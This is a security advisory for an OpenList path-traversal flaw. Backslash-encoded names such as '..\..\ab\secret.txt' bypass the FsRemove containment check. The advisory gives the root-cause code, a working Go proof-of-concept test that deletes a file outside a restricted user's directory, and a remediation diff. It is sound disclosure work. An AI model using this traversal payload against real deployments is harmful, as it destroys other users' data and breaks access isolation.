# GHSA-9QX4-CH88-5C25: Backslash canonicalization bypasses the FsRemove path-traversal containment check

- Database: GitHub
- Severity: CVSS 6.5 (Medium)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- github.com/OpenListTeam/OpenList/v4 (Go): from 4.2.2, through 4.2.6

## Description

# Backslash canonicalization bypasses the FsRemove path-traversal containment check

## Summary

OpenList validates each `FsRemove` name with Go's slash-only `path.Join` and a string-prefix containment check. The Local storage path layer subsequently converts backslashes to forward slashes and cleans the path. A restricted user can therefore submit a name such as `..\..\ab\secret.txt`: it passes the handler's containment check as an apparent filename below the authorized directory, then becomes `../../ab/secret.txt` in the storage layer and deletes a file outside the user's `BasePath`.

I reproduced this through the real `FsRemove` handler and Local storage driver. A normal user restricted to `/team/a` and allowed to remove files inside that directory deleted `/team/ab/secret.txt`. The equivalent forward-slash payload was the negative control: the handler skipped it and the sibling file remained.

This is a regression/variant of the path-traversal class fixed for GHSA-qmj2-8r24-xxcq. The v4.1.10 fix resolved each joined path through `user.JoinPath`, whose canonicalization converts backslashes before enforcing the base path. Commit `c7c0cfaeb707f6fa4f782864d13f9630a0a65dfa` later replaced that per-item check with the current lexical prefix check. That commit first shipped in v4.2.2.

## Affected versions

- First confirmed affected release: v4.2.2, commit `b28208bd76ee19c49dabc7f68c1f4e863f571fc6`
- Latest release: v4.2.6, commit `2bdf16d5967d0a403f67d809efd5a418b8f5bd30`
- Current `main`: commit `0463da4034db9a7cb7a6d0456f7cb00ef0372b5d`

The introducing commit is contained by every release tag from v4.2.2 through v4.2.6. I ran the end-to-end test independently on v4.2.2, v4.2.6, and current `main`; all three reproduced the unauthorized deletion.

## Preconditions

- The attacker has a normal authenticated OpenList account.
- The account has remove permission inside its own base path.
- The target file is on the same OpenList storage mount and its path is known or guessable.

No administrator role, filesystem access, or control of storage configuration is required.

## Root cause

`FsRemove` authorizes `req.Dir` once, adds a trailing slash, and checks each joined name with a prefix comparison:

```go
if !strings.HasSuffix(reqPath, "/") {
    reqPath += "/"
}
for i, name := range req.Names {
    fullPath := stdpath.Join(reqPath, name)
    if !strings.HasPrefix(fullPath+"/", reqPath) {
        req.Names[i] = ""
        continue
    }
    req.Names[i] = fullPath
}
```

`stdpath.Join` treats `\` as an ordinary character, so the payload remains lexically below `/team/a/writable/` and passes the prefix check.

The lower path boundary uses a different canonical form:

```go
func FixAndCleanPath(path string) string {
    path = strings.ReplaceAll(path, "\\", "/")
    if !strings.HasPrefix(path, "/") {
        path = "/" + path
    }
    return stdpath.Clean(path)
}
```

The Local storage driver reaches this normalization through its path-resolution helpers. At that point the backslash payload becomes a real traversal and resolves to the sibling path.

## Reproduction

From a clean checkout of any confirmed affected revision, save the following as `server/handles/security_backslash_traversal_test.go`:

```go
package handles

import (
	"bytes"
	"context"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"

	_ "github.com/OpenListTeam/OpenList/v4/drivers/local"
	"github.com/OpenListTeam/OpenList/v4/internal/conf"
	"github.com/OpenListTeam/OpenList/v4/internal/db"
	"github.com/OpenListTeam/OpenList/v4/internal/model"
	"github.com/OpenListTeam/OpenList/v4/internal/op"
	"github.com/OpenListTeam/OpenList/v4/pkg/utils"
	"github.com/gin-gonic/gin"
	"github.com/glebarez/sqlite"
	"gorm.io/gorm"
)

func setupBackslashTraversalTest(t *testing.T, root string) *model.User {
	t.Helper()
	database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
	if err != nil {
		t.Fatal(err)
	}
	conf.Conf = conf.DefaultConfig(t.TempDir())
	db.Init(database)
	addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
	if err != nil {
		t.Fatal(err)
	}
	if _, err = op.CreateStorage(context.Background(), model.Storage{
		Driver: "Local", MountPath: "/", Addition: addition,
	}); err != nil {
		t.Fatal(err)
	}
	return &model.User{
		Username: "restricted-user", BasePath: "/team/a", Role: model.GENERAL,
		Permission: 1<<3 | 1<<7,
	}
}

func invokeRemove(t *testing.T, user *model.User, name string) *httptest.ResponseRecorder {
	t.Helper()
	payload, err := json.Marshal(gin.H{"dir": "/writable", "names": []string{name}})
	if err != nil {
		t.Fatal(err)
	}
	recorder := httptest.NewRecorder()
	ctx, _ := gin.CreateTestContext(recorder)
	req := httptest.NewRequest(http.MethodPost, "/api/fs/remove", bytes.NewReader(payload))
	req.Header.Set("Content-Type", "application/json")
	req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
	ctx.Request = req
	FsRemove(ctx)
	return recorder
}

func TestSecurityBackslashTraversalBypassesFsRemoveContainment(t *testing.T) {
	gin.SetMode(gin.TestMode)
	root := t.TempDir()
	if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
		t.Fatal(err)
	}
	if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
		t.Fatal(err)
	}
	secretPath := filepath.Join(root, "team", "ab", "secret.txt")
	if err := os.WriteFile(secretPath, []byte("synthetic-secret"), 0o600); err != nil {
		t.Fatal(err)
	}
	user := setupBackslashTraversalTest(t, root)

	// Negative control: the published slash-based traversal is rejected.
	control := invokeRemove(t, user, "../../ab/secret.txt")
	if control.Code != http.StatusOK || !strings.Contains(control.Body.String(), `"code":200`) {
		t.Fatalf("unexpected control response: status=%d body=%s", control.Code, control.Body.String())
	}
	if _, err := os.Stat(secretPath); err != nil {
		t.Fatalf("slash traversal control affected sibling file: %v", err)
	}

	// The handler treats backslashes as ordinary filename bytes. The storage
	// layer later canonicalizes them to slashes and removes the sibling file.
	bypass := invokeRemove(t, user, `..\..\ab\secret.txt`)
	if bypass.Code != http.StatusOK || !strings.Contains(bypass.Body.String(), `"code":200`) {
		t.Fatalf("unexpected bypass response: status=%d body=%s", bypass.Code, bypass.Body.String())
	}
	if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
		t.Fatalf("expected sibling file removal, stat error=%v", err)
	}
}
```

Run:

```console
go test ./server/handles -run TestSecurityBackslashTraversalBypassesFsRemoveContainment -count=1 -v
```

Observed on all three tested revisions:

```text
=== RUN   TestSecurityBackslashTraversalBypassesFsRemoveContainment
--- PASS: TestSecurityBackslashTraversalBypassesFsRemoveContainment (0.00s)
PASS
```

The assertions prove both sides of the security boundary:

1. `../../ab/secret.txt` is blocked by the published slash-based containment logic and the sibling file remains unchanged.
2. `..\..\ab\secret.txt` reaches the storage driver and removes the same sibling file.
3. The principal is a normal user restricted to `/team/a`, while the deleted file is under `/team/ab`.
4. The test uses the real Local storage mount and checks the filesystem after the handler returns; it does not infer impact from an HTTP response.

## Impact

A user who is authorized to remove files only inside their own base path can delete guessed files and directories elsewhere on the same storage mount. This violates OpenList's user-directory isolation and can destroy other users' data or application-managed files reachable through the mount.

The PoC demonstrates deletion only. It does not claim access to the host filesystem outside the configured storage root.

## Suggested remediation

Canonicalize and validate each untrusted name before joining it to an authorized directory. `checkRelativePath` already rejects both `/` and `\` and is used by the rename and upload handlers. Applying it in `FsRemove` closes the demonstrated bypass:

```diff
diff --git a/server/handles/fsmanage.go b/server/handles/fsmanage.go
index d97d36d..0e34bc0 100644
--- a/server/handles/fsmanage.go
+++ b/server/handles/fsmanage.go
@@ -373,6 +373,10 @@ func FsRemove(c *gin.Context) {
 		reqPath += "/"
 	}
 	for i, name := range req.Names {
+		if err := checkRelativePath(name); err != nil {
+			common.ErrorResp(c, err, 403)
+			return
+		}
 		fullPath := stdpath.Join(reqPath, name)
 		if !strings.HasPrefix(fullPath+"/", reqPath) {
 			req.Names[i] = ""
```

I applied this change to v4.2.6 and reran a fixed control. The handler returned application error code 403 and the outside file retained its exact synthetic contents:

```text
=== RUN   TestSecurityBackslashTraversalFixRejectsFsRemove
--- PASS: TestSecurityBackslashTraversalFixRejectsFsRemove (0.01s)
PASS
```

The same canonicalization mismatch appears in the analogous `FsMove` and `FsCopy` item loops. Those paths should receive the same validation and regression coverage, even if the final fix is centralized below the handlers.

## Classification

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-863: Incorrect Authorization
- Suggested CVSS 3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` (8.1, High)

## Duplicate and safety checks

I reviewed the repository advisories and searched issues for a backslash/canonicalization bypass of GHSA-qmj2-8r24-xxcq. I found no matching report. GHSA-95cv-r8x4-vh75 covers an unvalidated `src_name` in the separate batch-rename handler; this report concerns the post-fix `FsRemove` containment logic and a different canonicalization boundary.

All data was synthetic. The test uses an in-memory SQLite database, a temporary Local storage root, and Go test cleanup. It does not contact an external service or modify a real OpenList deployment.

## References

- https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-9qx4-ch88-5c25

Page: https://cve.now/GHSA-9QX4-CH88-5C25

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
